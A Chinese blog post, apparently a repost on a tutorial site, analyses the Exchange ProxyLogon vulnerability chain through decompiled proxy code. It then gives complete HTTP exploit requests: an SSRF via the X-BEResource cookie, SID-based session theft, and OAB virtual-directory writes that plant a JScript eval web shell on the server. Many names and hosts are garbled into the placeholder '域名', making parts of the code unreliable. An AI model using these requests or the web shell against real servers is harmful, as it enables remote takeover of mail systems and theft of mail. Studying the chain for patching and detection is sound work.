飙血推荐
  • HTML教程
  • MySQL教程
  • JavaScript基础教程
  • php入门教程
  • JavaScript正则表达式运用
  • Excel函数教程
  • UEditor使用文档
  • AngularJS教程
  • ThinkPHP5.0教程

Exchange ProxyLogon漏洞分析

时间:2022-01-05  作者:nice0e3  

Exchange ProxyLogon漏洞分析

前言

续前文继续学习Exchange漏洞

Proxyshell

影响范围

Exchange Server 2019 < 域名.010

Exchange Server 2019 < 域名.013

Exchange Server 2016 < 域名.013

Exchange Server 2013 < 域名.012

攻击流程

1、 通过SSRF漏洞攻击,访问域名泄露LegacyDN信息
2、 在通过LegacyDN, 获取SID
3.、然后通过合法的SID,获取exchange的有效cookie
4.、最后通过有效的cookie,对OABVirtualDirectory对象进行恶意操作,写入一句话木马

ProxyLogon是通过利用CVE-2021-26855 SSRF 漏洞,然后使用CVE-2021-27065 任意文件写入漏洞组合进行利用。

漏洞复现

github地址:https://域名/jeningogo/exchange-ssrf-rce/blob/main/exchange-域名

python .\域名 192.域名 administrator@域名l

该漏洞需要一个邮箱账户

漏洞分析

Exchange使用的是cas架构,如下图

iis节点中可以看到有2个节点,一个架设在80,443 另外一个在81,444端口中。

分别是Frontend 和 Backend。这里面的一些功能也不一样。Frontend ,前端必须包含一个代理模块。代理模块从客户端获取 HTTP 请求并添加一些内部设置,然后将请求转发到后端。后端中负责解析前端请求等作用。

每个前端中的每个模块都有配有FrontEndHttpProxy模块

cd C:\Windows\System32\inetsrv

appcmd list wp

查看iis进程池,dnsdy附加进程开始调试

ProxyModule 代码如下

public class ProxyModule : IHttpModule
	{
		// Token: 0x17000080 RID: 128
		// (get) Token: 0x0600027F RID: 639 RVA: 0x0000EE08 File Offset: 0x0000D008
		// (set) Token: 0x06000280 RID: 640 RVA: 0x0000EE10 File Offset: 0x0000D010
		internal PfdTracer PfdTracer { get; set; }

		// Token: 0x06000281 RID: 641 RVA: 0x0000EF60 File Offset: 0x0000D160
		public void Init(HttpApplication application)
		{
			域名WatsonReportOnUnhandledException(delegate
			{
				LatencyTracker latencyTracker = new LatencyTracker();
				域名tTracking(域名yModuleInitLatency, false);
				域名eDebug<ProtocolType>((long)域名ashCode(), "[ProxyModule::Init]: Init called.  Protocol type: {0}", 域名ocolType);
				if (application == null)
				{
					string text = "[ProxyModule::Init]: 域名 called with null HttpApplication context.";
					域名eError((long)域名ashCode(), text);
					throw new ArgumentNullException("application", text);
				}
				域名racer = new PfdTracer(0, 域名ashCode());
				域名nRequest += 域名ginRequest;
				域名enticateRequest += 域名thenticateRequest;
				域名AuthorizeRequest += 域名stAuthorizeRequest;
				域名endRequestHeaders += 域名eSendRequestHeaders;
				域名equest += 域名dRequest;
				域名eDebug<ProtocolType, long>((long)域名ashCode(), "[ProxyModule::Init]: Protocol type: {0}, InitLatency {1}", 域名ocolType, 域名urrentLatency(域名yModuleInitLatency));
			});
		}

域名域名(HttpApplication) -->
域名域名stAuthorizeRequest(object, EventArgs)-->
域名域名stAuthorizeInternal(HttpApplication)-->
域名域名stAuthorizeInternal(HttpApplication)-->
域名域名ctHandlerForAuthenticatedRequest(HttpContext) 

if语句走入三个if分支里面去,分别来看看不同的条件和处理

if (域名iscoveryExportToolProxyRequest(域名est))

public static bool IsEDiscoveryExportToolRequest(HttpRequest request)
		{
			string absolutePath = 域名lutePath;
			if (域名llOrEmpty(absolutePath))
			{
				return false;
			}
			if (域名xOf("/exporttool/", 域名nalIgnoreCase) < 0)
			{
				return false;
			}
			域名reRegexInit();
			return 域名tch(absolutePath);
		}

该位置返回执行EDiscoveryExportToolProxyRequestHandler

第二个if条件,调用域名andle方法

域名EResouceCookie处代码

private static string GetBEResouceCookie(HttpRequest httpRequest)
		{
			string result = null;
			HttpCookie httpCookie = 域名ies[域名source];
			if (httpCookie != null)
			{
				result = 域名e;
			}
			return result;
		}

即获取Cookie中X-BEResource参数不为空

internal static bool IsResourceRequest(string localPath)
		{
			return 域名With(域名nsionAxd, 域名nalIgnoreCase) || 域名With(域名nsionChromeWebApp, 域名nalIgnoreCase) || 域名With(域名nsionCss, 域名nalIgnoreCase) || 域名With(域名nsionEot, 域名nalIgnoreCase) || 域名With(域名nsionGif, 域名nalIgnoreCase) || 域名With(域名nsionJpg, 域名nalIgnoreCase) || 域名With(域名nsionJs, 域名nalIgnoreCase) || 域名With(域名nsionHtm, 域名nalIgnoreCase) || 域名With(域名nsionHtml, 域名nalIgnoreCase) || 域名With(域名nsionICO, 域名nalIgnoreCase) || 域名With(域名nsionManifest, 域名nalIgnoreCase) || 域名With(域名nsionMp3, 域名nalIgnoreCase) || 域名With(域名nsionMSI, 域名nalIgnoreCase) || 域名With(域名nsionPng, 域名nalIgnoreCase) || 域名With(域名nsionSvg, 域名nalIgnoreCase) || 域名With(域名nsionTtf, 域名nalIgnoreCase) || 域名With(域名nsionWav, 域名nalIgnoreCase) || 域名With(域名nsionWoff, 域名nalIgnoreCase) || 域名With(".bin", 域名nalIgnoreCase) || 域名With(".dat", 域名nalIgnoreCase) || 域名With(".exe", 域名nalIgnoreCase) || 域名With(".flt", 域名nalIgnoreCase) || 域名With(".mui", 域名nalIgnoreCase) || 域名With(".xap", 域名nalIgnoreCase) || 域名With(".skin", 域名nalIgnoreCase);
		}

这里是对uri地址的验证,验证是否合法

/ecp/xx.(js|css|gif)等都是合法uri

域名域名yRequestHandler -->BeginCalculateTargetBackEnd -->InternalBeginCalculateTargetBackEnd
protected override AnchorMailbox ResolveAnchorMailbox()
		{
			string beresouceCookie = 域名EResouceCookie(域名ntRequest);
			if (!域名llOrEmpty(beresouceCookie))
			{
				域名(域名ingHint, 域名source + "-Cookie");
				域名eDebug<string, int>((long)域名ashCode(), "[BEResourceRequestHanlder::ResolveAnchorMailbox]: BEResource cookie used: {0}; context {1}.", beresouceCookie, 域名eContext);
				return new ServerInfoAnchorMailbox(域名String(beresouceCookie), this);
			}
			return 域名lveAnchorMailbox();
		}

~进行分割字符串,~后面即为verison版本号

BeginProxyRequest-->GetTargetBackEndServerUrl()

protected void BeginProxyRequest(object extraData)
		{
			域名lapsedTime("E_BegProxyReq");
			域名ThreadEntranceMethod(delegate
			{
				lock (域名Object)
				{
					域名ctivityScopeOnCurrentThread(域名er);
					域名ementMovingPercentagePerformanceCounterBase(域名ngPercentageMailboxServerFailure);
					try
					{
						Uri uri = 域名argetBackEndServerUrl();
						...

这里还有个条件判断,如果版本大于域名inVersionProxyToDownLevel则为false。这个是一个重点之一。

判断版本号小于1941962752版本则走入以上if逻辑代码中

1.设置HTTPS

域名即FQDN,域名

3.如果端口小于域名inVersion的值,端口会被设置为443

{
					UriBuilder clientUrlForProxy = 域名lientUrlForProxy();
					域名me = 域名chemeHttps;
					域名 = 域名域名;
					域名 = 444;
					if (域名域名ion < 域名inVersion)
					{
						域名yToDownLevel = true;
						RequestDetailsLoggerBase<RequestDetailsLogger>.SafeAppendGenericInfo(域名er, "ProxyToDownLevel", true);
						域名 = 443;
					}
					result = 域名;
				}
			}

域名域名;该位置的值可控,那么result的值也可控。

继续往下走逻辑来到该位置

调用域名teServerRequest将uri发送给后端服务器

调用域名areServerRequest(httpWebRequest);进行身份认证。

这里返回false

调用 GenerateKerberosAuthHeader() 函数来 创建Kerberos 认证头部。这也是中间代理能够访问BackEnd Server的原因 。

ShouldBlockCurrentOAuthRequest函数里的ProxyToDownLevel是用来检查用户是否已通过身份验证;而当有请求调用BEResourceRequestHandler时,ShouldBackendRequestBeAnonymous()就会被调用。绕过认证,然后把数据包组成后发送给后端。后端响应请求,把数据返回给客户端。最后达到一个SSRF漏洞攻击的过程。

漏洞利用

这里ssrf去访问域名自动配置文件的原因是因为Autodiscover(自动发现)是自Exchange Server 2007开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。如果用户账户是域账户且当前位于域环境中,通过自动发现功能用户无需输入任何凭证信息即可登陆邮箱。域名 文件中包含有LegacyDN 的值,

POST /ecp/域名 HTTP/1.1
Host: 192.域名
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/域名 (KHTML, like Gecko) Chrome/域名.190 Safari/域名 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=域名l/autodiscover/域名?a=~1942062522;
Content-Type: text/xml
Content-Length: 375


    <Autodiscover xmlns="http://域名/exchange/autodiscover/outlook/requestschema/2006">
        <Request>
          <EMailAddress>administrator@域名l</EMailAddress>
          <AcceptableResponseSchema>http://域名/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
        </Request>
    </Autodiscover>
    

需要提供一个邮箱账户,通过ssrf访问后端功能获取到LegacyDN的值。

然后使用LegacyDN,获取sid

获取完成后,使用sid获取cookie

POST /ecp/域名 HTTP/1.1
Host: 192.域名
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/域名 (KHTML, like Gecko) Chrome/域名.190 Safari/域名 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Administrator@域名l:444/ecp/域名?a=~1942062522;
Content-Type: text/xml
msExchLogonMailbox: S-1-5-20
Content-Length: 247

<r at="Negotiate" ln="john"><s>S-1-5-21-169768398-886626631-87175517-500 ·sid·</s><s a="7" 
    t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s 
    a="3221225479" t="1">S-1-5-5-0-6948923</s></r> 

文件上传

POST /ecp/域名 HTTP/1.1
Host: 192.域名
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/域名 (KHTML, like Gecko) Chrome/域名.190 Safari/域名 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Administrator@域名l:444/ecp/DDI/域名/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.&a=~1942062522; 域名SessionId=2a9c5359-d808-4b32-a93e-879785d2f5aa; msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.
Content-Type: application/json; 
msExchLogonMailbox: S-1-5-20
Content-Length: 168

{"filter": {"Parameters": {"__type": "JsonDictionaryOfanyType:#域名域名rolPanel", "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}}
POST /ecp/域名 HTTP/1.1
Host: 192.域名
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/域名 (KHTML, like Gecko) Chrome/域名.190 Safari/域名 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Administrator@域名l:444/ecp/DDI/域名/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.&a=~1942062522; 域名SessionId=2a9c5359-d808-4b32-a93e-879785d2f5aa; msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.
msExchLogonMailbox: S-1-5-20
Content-Type: application/json; charset=utf-8
Content-Length: 399

{"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "73fff9ed-d8f5-484e-9328-5b76048abdb2"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#域名域名rolPanel", "ExternalUrl": "http://ffff/#<script language=\"JScript\" runat=\"server\"> function Page_Load(){/**/eval(Request[\"code\"],\"unsafe\");}</script> "}}}
POST /ecp/域名 HTTP/1.1
Host: 192.域名
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/域名 (KHTML, like Gecko) Chrome/域名.190 Safari/域名 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Administrator@域名l:444/ecp/DDI/域名/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.&a=~1942062522; 域名SessionId=2a9c5359-d808-4b32-a93e-879785d2f5aa; msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.
msExchLogonMailbox: S-1-5-20
Content-Type: application/json; charset=utf-8
Content-Length: 393

{"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "73fff9ed-d8f5-484e-9328-5b76048abdb2"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#域名域名rolPanel", "FilePathName": "\\\\127.0.0.1\\c$\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\域名"}}}

标签:.NET编程
湘ICP备14001474号-3  投诉建议:234161800@qq.com   部分内容来源于网络,如有侵权,请联系删除。